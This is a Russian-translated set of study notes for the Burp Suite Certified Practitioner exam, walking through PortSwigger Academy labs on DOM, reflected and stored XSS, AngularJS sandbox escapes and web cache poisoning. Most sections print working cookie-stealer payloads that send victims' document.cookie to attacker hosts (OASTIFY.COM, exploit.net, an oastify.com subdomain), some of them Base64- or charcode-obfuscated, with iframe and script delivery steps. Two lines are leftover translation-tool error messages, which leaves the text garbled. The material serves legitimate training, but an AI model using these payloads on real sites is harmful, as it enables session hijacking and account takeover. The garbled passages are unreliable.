Практические конспекты и пошаговые руководства по лабораторным работам PortSwigger Academy, охватывающие веб-уязвимости, пейлоады, энумерацию и стратегии сдачи экзамена BSCP.
Это мои учебные заметки по более чем 110 лабораторным работам PortSwigger Academy. Я использовал эти лабораторные работы, чтобы сдать экзамен Burp Suite Certified Practitioner 2023 года. Моя квалификация BSCP.
Для получения дополнительной информации посетите PortSwigger Academy, чтобы получить последние учебные материалы.
СКАНИРОВАНИЕ - Перечисление
Фокусное сканирование
Сканирование нестандартных сущностей
ПЛАЦДАРМ - Этап 1
Обнаружение контента
DOM-XSS
XSS - межсайтовый скриптинг
Отравление веб-кэша
Заголовки Host
Контрабанда HTTP-запросов
Брутфорс
Аутентификация
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ - Этап 2
CSRF - захват аккаунта
Сброс пароля
SQLi - SQL-инъекция
JWT - JSON Web Tokens
Загрязнение прототипа
Тестирование API
Контроль доступа
Конечные точки GraphQL API
CORS - обмен ресурсами между источниками
ЭКСФИЛЬТРАЦИЯ ДАННЫХ - Этап 3
XXE - XML-сущности и инъекции
SSRF - подделка серверных запросов
SSTI - инъекция в серверные шаблоны
SSPP - серверное загрязнение прототипа
LFI - обход пути к файлу
Загрузка файлов
Десериализация
Инъекция команд ОС
ПРИЛОЖЕНИЕ
Python-скрипты
Payloads
Списки слов
Фокусное сканирование цели
Подход
Дополнительные учебные материалы
Я рекомендую пройти как можно больше испытаний Mystery lab challenge, чтобы проверить свои навыки и сократить время, необходимое для выявления уязвимостей, перед сдачей экзамена.
Я также считаю этот совет PortSwigger о пересдаче экзамена очень информативным.
Посмотрите CryptoCat - обзор Burp Suite Certified Professional (BSCP) + советы и приёмы, чтобы получить свежий взгляд на экзамен BSCP в 2024 году.
Спасибо за поддержку кофе,
\o/
Перечисление веб-приложений начинается с начального и целенаправленного сканирования в рамках ограниченного по времени задания.
Из-за жёсткого ограничения по времени во время заданий или экзамена сканируйте определённые точки вставки для конкретных запросов.

Сканер обнаружил уязвимость XML-инъекции в параметре storeId, и это позволило прочитать секретный файл Carlos.```xml <xi:include parse="text" href="file:///home/carlos/secret"/>
>Внеполосный XInclude-запрос, требуется размещённый DTD для чтения локального файла.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
Сканирование нестандартных структур данных с помощью функции Burp для сканирования выбранной точки вставки по выделенному тексту в ответах или запросах.

Определите уязвимость по результатам сканера Burp.
В данном случае, используя обнаруженную XSS, похитьте cookie-файлы администратора, создав полезную нагрузку в выявленной точке вставки.``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
>Кодируйте ключевые символы в URL.

>Используйте cookie администратора для доступа к админ-панели, подставив его в текущую сессию браузера.
[PortSwigger Lab: Сканирование нестандартных структур данных](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# Получение доступа
# Обнаружение контента
>Перечисление цели начинается с фаззинга веб-каталогов и файлов. Используйте либо инструменты Burp engagement tools, либо опцию обнаружения контента для поиска скрытых путей и файлов, либо используйте `FFUF` для перечисления веб-каталогов и файлов. Просмотр `robots.txt` или `sitemap.xml` может раскрыть содержимое.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
Инструмент для работы с Burp, обнаружение контента с использованием моего скомпилированного списка слов burp-labs-wordlist в качестве пользовательского списка файлов.

Изучите ветки git-репозитория в локальной скачанной копии с помощью инструмента
git-cola. Затем выберите Undo last commit и извлеките пароль администратора из окна diff.``` wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

[PortSwigger Lab: Раскрытие информации в истории системы контроля версий](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>Всегда открывайте `source code`, чтобы искать комментарии разработчиков, раскрывающие скрытые файлы или пути. Пример ниже ведёт к [десериализации токена symphony](#deserialization).

-----
## DOM-Based XSS
[DOM XSS Indicators](#identify-dom-xss)
[DOM XSS Identified with DOM Invader](#dom-invader)
[DOM XSS AngularJS](#vuln-angularjs)
[DOM XSS document.write in select](#doc-write-location-search)
[DOM XSS JSON.parse web messages](#dom-xss-jsonparse-web-messages)
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)
[DOM XSS AddEventListener Ads Message](#dom-xss-addeventlistener-ads-message)
[DOM XSS Eval Reflected Cookie Stealer](#reflected-dom-xss)
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)
### Identify DOM-XSS
>Уязвимости DOM-based XSS возникают, когда JavaScript берёт данные из источника, контролируемого атакующим, например из URL, и передаёт код в приёмник (sink), поддерживающий динамическое выполнение кода.
>Проверьте, какие символы позволяют выйти за пределы точки инъекции в `source code`, используя приведённую ниже фуззер-строку.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
Изучите
исходный код, чтобы определить источники, приёмники или методы, которые могут привести к эксплуатации. Список примеров:
Используя плагин Dom Invader и установив canary-значение, например
domxss, можно обнаружить DOM-XSS-приёмники, которые можно эксплуатировать.

Выражение AngularJS, приведённое ниже, можно внедрить в поисковую функцию, когда угловые скобки и двойные кавычки кодируются как HTML-сущности. Уязвимость определяется по тому, что поисковая строка заключена в директиву ng-app и подключён скрипт
/js/angular 1-7-7.js. Изучите HTML-код, чтобы определить директивуng-app, которая сообщает AngularJS, что этот элемент является корневым элементом приложения AngularJS.

Ниже приведена полезная нагрузка для лабораторной работы PortSwigger:```JavaScript {{$on.constructor('alert(1)')()}}
>[Полезная нагрузка для кражи cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) с использованием `on.constructor`, которую можно разместить в iframe, размещённом на эксплойт-сервере, в результате чего cookie сессии жертвы будет отправлена в Burp Collaborator.
>[Шпаргалка PortSwigger по межсайтовому скриптингу](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}
Примечание: свойство cookie сеанса не должно иметь установленного безопасного флага HttpOnly, чтобы XSS мог выполниться.

z3nsh3ll даёт удивительно подробное объяснение уязвимости конструктора в этой лаборатории на YouTube
Цель уязвима для DOM-XSS в функции проверки запасов.
исходный кодпоказывает, чтоdocument.writeявляется приёмником, используемым сlocation.search, что позволяет нам добавить параметр запроса storeId со значением, содержащим JavaScript-полезную нагрузку внутри оператора<select>.

Выполните тест с помощью приведённой ниже полезной нагрузки, чтобы определить инъекцию в изменённый GET-запрос, используя
">для экранирования.```html /product?productId=1&storeId=fuzzer">fuzzer

>DOM XSS [пейлоад для кражи cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) в приёмнике `document.write` с использованием источника `location.search` внутри элемента `<select>`. Это можно отправить жертве через эксплойт-сервер в `

В конце значений onload у iframe стоит "*", это означает, что целевой объект — любой.
Установите незащищённую тестовую cookie в браузере через консоль DEV tools браузера для использования во время тестов POC XSS
полезные нагрузки для кражи cookie.```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

[PortSwigger Lab: DOM XSS с использованием веб-сообщений и JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)
>DOM Invader использовался для выявления и тестирования DOM XSS через веб-сообщения

>Повторно отправьте сообщение с помощью DOM Invader после изменения данных JSON.```JSON
{
"type": "load-channel",
"url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

Просматривая
source codeстраницы, мы определяем вызовaddeventlistenerдля веб-сообщения, но есть условиеif, проверяющее, содержит ли строкаhttp/s.

Размещенная на эксплойт-сервере нагрузка, приведенная ниже, включает строку
httpsи успешно обходит проверку условияif.```html

После того как cookie жертвы обновляется, журнал Exploit-сервера фиксирует значение её секретного cookie.
>С огромной помощью от ***ShehmeerAbidRajput*** я обновил эту лабораторную работу, используя предоставленный им payload для кражи cookie.
[PortSwigger Lab: DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)
-----
## Межсайтовый скриптинг
[XSS ресурсы](#xss-resources)
[Определение разрешённых тегов](#identify-allowed-tags)
[Обход заблокированных тегов](#bypass-blocked-tags)
[XSS: назначение протокола](#xss-assign-protocol)
[Пользовательские теги не блокируются](#custom-tags-not-blocked)
[OnHashChange](#onhashchange)
[Отражённый строковый XSS](#reflected-string-xss)
[Отражённая строка с дополнительным экранированием](#reflected-string-extra-escape)
[Обход песочницы AngularJS](#angularjs-sandbox-escape)
[XSS шаблонная строка](#xss-template-literal)
[XSS через JSON в EVAL](#xss-via-json-into-eval)
[Сохранённый XSS](#stored-xss)
[Сохранённый DOM XSS](#stored-dom-xss)
[XSS при загрузке SVG](#xss-svg-upload)
### XSS ресурсы
>Страницы ресурсов по XSS для поиска payload-ов для **тегов** и **событий**.
+ [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [HackTheBox CPTS Study notes on XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)
>Инструмент CSP Evaluator для проверки наличия политики безопасности контента для смягчения XSS-атак. Например, если `base-uri` отсутствует, эта уязвимость позволит атакующему использовать альтернативный метод эксплуатации, описанный в разделе [Upgrade stored self-XSS](#upgrade-stored-self-xss).
+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)
>Когда максимальная длина поля ввода составляет всего 23 символа, используйте этот ресурс для **Tiny XSS Payloads**.
+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)
>Установите незащищённую тестовую cookie в браузере, используя консоль инструментов разработчика браузера, для использования во время тестов POC XSS [payload-ов для кражи cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md).```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";
Базовые XSS-пейлоады для определения мер контроля фильтров безопасности приложения при обработке данных, полученных в HTTP-запросе.```html
The input content is empty — no source text was provided for chunk 41 of 303. Please re-send the chunk with the actual Markdown content so it can be translated from English to Russian.```html
"><svg><animatetransform onbegin=alert(1)>
The input content is empty — there is no Markdown text after "INPUT:" to translate. Please provide the chunk content, and I'll translate it.``` <>'"
>Отправка вышеуказанных полезных нагрузок может привести к ответному сообщению, ***"Tag is not allowed"*** из-за блокировки инъекций межсетевым экраном веб-приложения (WAF).
>Затем ***определите*** разрешённые теги с помощью [методологии PortSwigger Academy](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).
>Онлайн-кодировщики и декодеры URL и Base64
+ [URL Decode and Encode](https://www.urldecoder.org/)
+ [BASE64 Decode and Encode](https://www.base64encode.org/)
>Эта лабораторная работа даёт отличную **методологию** для ***определения*** разрешённых HTML-тегов и событий для создания POC XSS.
>Разместите код **iframe** на эксплойт-сервере и отправьте ссылку на эксплойт жертве.```html
Средства контроля приложения выдают сообщение, "Тег не разрешен" при вставке базовых XSS-payload, но обнаруживается, что SVG-разметка разрешена с помощью вышеуказанной методологии. Этот payload крадет мою собственную сессионную cookie в качестве POC.```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E
>Разместите указанную выше полезную нагрузку на эксплойт-сервере и вставьте URL-адрес со значением поиска в ```iframe``` перед доставкой жертве в приведённом ниже блоке кода.```html

Лаборатория для проверки XSS в HTML-контексте, где в поисковой функции ничего не кодируется. Эта лаборатория используется для проверки эксплойта назначаемого протокола с location
javascript, выявленного в исследовании PortSwigger по XSS. В полезной нагрузке%0aпредставляет собой ASCII-символ новой строки.```html

[PortSwigger Lab: Reflected XSS into HTML context with nothing encoded](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)
### Пользовательские теги не блокируются
>Приложение отвечает сообщением ***"Tag is not allowed"*** при попытке вставить XSS-пейлоады, но если мы создадим пользовательский тег, это обходится.```html
<xss+id=x>#x';
Определите, не блокируется ли вышеуказанный пользовательский тег в функции поиска, наблюдая за ответом. Создайте приведённый ниже payload для кражи сессионного cookie внеполосно.```
>**Примечание:** Пользовательский тег с идентификатором ```x```, содержащий **onfocus** обработчик события, который запускает функцию ```document.location```. Символ **HASH** `#` в конце URL фокусируется на этом элементе сразу после загрузки страницы, вызывая срабатывание полезной нагрузки. Разместите скрипт полезной нагрузки на эксплойт-сервере в тегах ```script``` и отправьте жертве. Ниже представлена та же полезная нагрузка, но в **URL-кодированном** формате.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

Расположенный ниже iframe использует символ HASH
#в конце URL-адреса для запуска OnHashChange XSS-похитителя cookie.```JavaScript
>Обратите внимание: если cookie защищён с включённым флагом **HttpOnly**, его нельзя украсть с помощью XSS.
>Полезная нагрузка лаборатории PortSwigger выполняет печать.```JavaScript
Примечание: Определите уязвимую версию jquery 1.8.2, включённую в
исходный код, с помощью действия CSS-селектора при hashchange.

При отправке поисковой строки и просмотре
исходного кодастраницы результатов поиска строковая переменная JavaScript с именемsearchTermsопределяется как отражающая поисковую строкуtracker.gifвисходном коде.```html
Используя полезную нагрузку
test'payload, обратите внимание, что одинарная кавычка экранируется обратным слешем, что предотвращает выход за пределы строки.```JavaScript
>Изменение полезной нагрузки на стилер cookie, который доставляет токен сеанса в Burp Collaborator.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

При размещении этого payload в
iframeцелевое приложение не позволяет его встроить и выводит сообщение:refused to connect.
На экзамене BSCP разместите приведённый ниже payload на сервере эксплойтов внутри тегов
<script>, а поисковый запрос ниже перед ним должен быть URL-закодирован.```
>Эксплойт-сервер, размещающий отражённую в поисковом запросе уязвимость, которая отправляется жертве для получения её cookie сеанса.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>
Приложение выдало сообщение об ошибке
Tag is not allowed, и это обходится с помощью</ScRiPt >.
Посмотрите в
исходном кодепеременную с именемsearchTerms, и при отправке полезной нагрузкиfuzzer'payloadобратите внимание, что одинарная кавычка экранируется обратным слешем, а затем отправьте полезную нагрузкуfuzzer\payloadи определите, что обратный слеш не экранируется.``` '-alert(1)//
fuzzer';console.log(12345);//
fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//
>Используя одинарную **обратную косую черту**, одинарную кавычку и **точку с запятой**, мы выходим из строковой переменной JavaScript, затем, используя обратные кавычки для обрамления пути ```document.location```, позволяем стилеру cookie обойти защиту приложения.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//
С помощью Тревора я превратил это в пейлоад для кражи cookie, используя обратные кавычки. Спасибо Тревору, вот его прохождение на YouTube: XSS JavaScript String Angle Brackets Double Quotes Encoded Single

Экспертная лабораторная работа PortSwigger с использованием AngularJS 1.4.4; версии 1.x достигли конца жизненного цикла и больше не поддерживаются. В этой лабораторной работе AngularJS используется необычным образом: функция
$evalнедоступна, и вы не сможете использовать строки в AngularJS. Цель: выполнить XSS-атаку, которая обходит песочницу и запускает пейлоад без использования функции$eval.
Определите
angular.moduleв исходном коде JavaScript:

Значение переменной
key—search— внедряется в динамически создаваемый код JavaScript. Никакой очевидной проблемы безопасности здесь нет. Однако безопасность этого кода зависит от того, как этот контроллер и извлечённые значения используются в бэкенде.
Метод
$parseвычисляет выражение AngularJS$scope.query.
Используйте
&, чтобы добавить вторую пару «ключ-значение» и протестировать динамически генерируемый код пейлоада.

Изменив имя второй добавленной пары «ключ-значение» на expression, можно определить, вычисляется ли оно:
/?search=key1value&7*7=payload— и результат вычисления равен 49.

Создание пейлоада не удаётся, если использовать
alert()в качестве имени второго ключа, из-за того как AngularJS компилирует код через парсер.
Песочница AngulaJS — см. документы PortSwigger по инъекциям в клиентские шаблоны.
Шпаргалка-справочник PortSwigger: обход песочницы 1.4.4.``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
>Пейлоад Collaborator ***стилер куки***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)
Десятичные значения ASCII для каждого символа в приведенной выше строке полезной нагрузки, разделенные запятыми. Каждое число представляет собой десятичное значение ASCII соответствующего символа в строке полезной нагрузки.``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41
>Python-скрипт для преобразования любого payload в десятичные значения ASCIII:```python
import sys
print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
print("Usage: Python ascii_converter.py 'Payload_String'")
sys.exit(1)
input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]
output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

Полезная нагрузка Cookie Stealer в десятичных значениях ASCII, выражение AngularJS, запускаемое через песочницу, из шагов решения PortSwigger:
toString() для создания строки без использования кавычек.charAt для каждой строки.orderBy.toString() для создания строки и свойство конструктора String.fromCharCode, чтобы сгенерировать полезную нагрузку, преобразуя коды символов в пример полезной нагрузки x=alert(1).charAt была переопределена, и AngularJS позволит этому коду выйти из песочницы.
Шаблонная строка JavaScript определяется обратными кавычками `, используемыми для содержания строки. В целевом коде мы определяем, что искомая строка отражается внутри шаблонной строки.``` ${alert(document.cookie)}

>Спасибо ***Adrián Gyurácz*** за отличный обход, когда мне не удалось получить работающий стилер cookie, обходящий все фильтры для этой лабораторной работы.
>***Adrián Gyurácz*** нашёл следующую исследовательскую статью от Portswigger, которая привела к решению:
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
#### Отталкиваясь от вышесказанного, его пейлоад:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}
Поскольку исходный cookie сеанса лабораторной работы имеет флаги защиты, он создал тестовый фиктивный cookie для подтверждения концепции:

после отправки полезной нагрузки в функцию поиска я получил срабатывание стилера cookie:

Надеюсь, его исследование окажется полезным для других, и я включаю его в своё руководство. Спасибо.
Это приложение для практического экзамена PortSwigger выполняет функцию поиска, и DOM Invader определяет sink в функции
eval(). Результаты поиска помещаются в тип содержимого JSON.

Попробуйте выйти из данных
JSONи внедрить тестовую полезную нагрузку"-prompt(321)-"в содержимое JSON.

При попытке получить значение нашего собственного сессионного cookie с полезной нагрузкой
"-alert(document.cookie)-"возвращается сообщение фильтра:"Potentially dangerous search term".
WAF блокирует опасные поисковые фильтры и теги, затем мы обходим фильтры WAF с помощью глобальных переменных JavaScript.```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"
[secjuice: Обход XSS-фильтров с помощью глобальных переменных JavaScript](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)
>Ниже приведена основная [полезная нагрузка для кражи cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) до её BASE 64 кодирования.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])
Далее закодируйте полезную нагрузку, используя Base64 encoded значение приведённой выше полезной нагрузки для кражи cookie.``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==
>Протестируйте полезную нагрузку на нашей собственной сессионной cookie в функции поиска.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
Распаковка вышеуказанных этапов сборки полезной нагрузки:
На этом изображении показан Burp Collaborator, получающий значение моего cookie-файла в качестве подтверждения концепции перед настройкой полезной нагрузки для
Deliver exploit to victim.

URL Encode все символы в этой полезной нагрузке и используйте их в качестве значения параметра
/?SearchTerm=.```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
>Размещение `IFRAME` на сервере эксплойта выдаёт **ошибку** отказа в подключении к цели. Вместо этого разместите полезную нагрузку на сервере эксплойта между тегами `<script>`.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

ПРИМЕЧАНИЕ:
Deliver exploit to victimнесколько раз, если активный пользователь не отправляет HTTP-запрос на collaborator. Замените текущее значение cookie на украденную cookie, чтобы выдать себя за активного пользователя, и переходите к Этапу 2 практического экзамена.
Хранимый XSS также может быть слепым XSS. Если alert-пейлоад не срабатывает, посмотрите видео NahamSec о слепом XSS пейлоад для клика жертвой, например:
<svg/onload=import('//EXPLOIT.net/blind_xss')>
Если хранимый ввод перенаправляет жертву, которая кликает по ссылкам, он отправляет запрос на эксплойт-сервер. Используйте следующий пример кода, чтобы выявить хранимый XSS.```HTML![]()
>Ниже приведены записи журнала, показывающие запросы к эксплойт-серверу, и из журналов мы можем ***определить***, что `/img` и `/video` из указанных выше тегов были разрешены в приложении и выполняли запросы при доступе.

>Межсайтовый скриптинг, сохранённый в комментарии к посту в блоге. Эта полезная нагрузка Cookie Stealer затем отправляет cookie сеанса жертвы в журналы эксплойт-сервера.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">
Поиск товаров и магазинов```html ?productId=1&storeId=">
#### Stored XSS запись в блоге
>Stored XSS: похититель cookie из поста в блоге, отправляющий cookie документа на эксплойт-сервер.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>
Указанная ниже цель имеет уязвимость хранимого XSS в функции комментариев блога. Похитьте cookie сессии пользователя-жертвы, который просматривает комментарии после их публикации, а затем используйте эти cookie для выдачи себя за него.

Полезная нагрузка JavaScript Cookie Stealer на базе Fetch API в комментарии к записи блога.```JavaScript
>[IPPSEC YouTube с использованием HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), показывающий, как он использует `fetch` в коде JavaScript `payload.js` и изучает JavaScript.
[PortSwigger Lab: Exploiting cross-site scripting to steal cookies](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
#### Улучшение хранимого self-XSS
>Комментарий в блоге с **хранимым self-XSS**, улучшающий полезную нагрузку для кражи информации жертвы из DOM. Функция **edit content** отражает ввод в теге `<script>`. CSRF-токен для **write comment** такой же, как и для функций **edit content**. Приведённая ниже полезная нагрузка использует функцию **write comment**, чтобы заставить жертву создать запись в блоге в её собственном блоге с нашим вредоносным содержимым.
>Символ `a` добавлен для экранирования символа `#` из исходного `source code` приложения.
>Приведённый ниже `source code` в записи блога представляет собой полный эксплойт для кражи информации жертвы.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>
Эта цель эксплуатируется путем создания HTML-инъекции, которая затирает переменную с именем
share_button, см.исходный кодниже, и использует HTML-код выше. Содержимое отражается на странице, затем с помощью этого отражения выполняется перенаправление страницы жертвы на страницу/editс использованием тегаmeta http-equivдля обновления страницы через 1 секунду, что приводит к перенаправлению.
>Доставьте эксплойт: отправив жертве URL, который ссылается на вышеупомянутую запись блога, вы вызовете у неё XSS.
[intigriti - Self-XSS upgrade - Решение XSS-задачи от 22 декабря](https://youtu.be/FowbZ8IlU7o)
>Альтернативный эксплойт с использованием HTML-инъекции на странице записи блога Edit Content, ***выявленный*** с помощью [проверки CSP ресурсов XSS](#xss-resources).```
<base href="https://Exploit.net">
Разместите JS-файл на Exploit-сервере как
static/js/bootstrap.bundle.min.js, со следующим содержимым:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)
> Модифицированная полезная нагрузка лаборатории PortSwigger присваивает функцию `document.location` переменной `defaultAvatar` при следующей загрузке страницы, поскольку сайт использует DOMPurify, который допускает использование протокола `cid:`, не выполняющего URL-кодирование двойных кавычек.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">
В JavaScript
source codeвключённого скриптаresources/js/loadCommentsWithVulnerableEscapeHtml.jsмы определяем функциюhtml.replace()внутри пользовательской функцииloadComments. При тестировании payload-ов мы видим, что функция заменяет только первое вхождение<>.
```html
<>
>Приведённая выше полезная нагрузка сохраняется, и при посещении блога с комментариями любым пользователем его сессионный cookie будет украден и отправлен в Collaborator.

>Полезная нагрузка лаборатории PortSwigger: `<>`.
[Лаборатория PortSwigger: хранимый DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)
-----
## Отравление веб-кэша
[Неключевой заголовок](#unkeyed-header)
[Неключевой Utm_content](#unkeyed-utm_content)
[Маскировка utm_content](#cloaking-utm_content)
[Отравление неоднозначного запроса](#poison-ambiguous-request)
[Отравление кэша несколькими заголовками](#cache-poison-multiple-headers)
### Неключевой заголовок
>Целевой сервер использует JavaScript **tracking.js**,
>и уязвим к заголовку **```X-Forwarded-Host```** или **```X-Host```**, перенаправляющему путь,
>что позволяет похитить cookie путём отравления кэша.
>***Определите*** заголовки веб-кэша в ответе и скрипт tracking.js в исходном коде страницы.
>Эксплуатируйте уязвимость, разместив JavaScript и внедрив заголовок, чтобы отравить кэш цели и перенаправить жертву при посещении.
```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

Размещение на эксплойт-сервере, внедрение заголовка
X-Forwarded-Hostв запрос и отравление кэша, пока жертва не попадёт на отравленный кэш.``` /resources/js/tracking.js

>Тело запроса отправляет cookie сеанса в сервис совместной работы.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;
Продолжайте отравлять веб-кэш цели, повторно отправляя запрос с заголовком
X-Forwarded-Host.

Видео на Youtube, демонстрирующее вышеуказанную полезную нагрузку лабораторной работы на эксплойт-сервере, изменённую для кражи cookie жертвы, когда жертва попадает на кэшированную запись на внутреннем сервере. Полезная нагрузка — это вышеприведённый JavaScript.
Цель уязвима к отравлению веб-кэша, поскольку она исключает определённый параметр из ключа кэша. Функция Param Miner "Guess GET parameters" определит этот параметр как utm_content.
```
GET /?utm_content='/>
>Приведенная выше полезная нагрузка кэшируется, и при посещении жертвой целевого ресурса cookie отправляется в Burp Collaborator.

[PortSwigger Lab: Web cache poisoning via an unkeyed query parameter](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)
### Маскировка utm_content
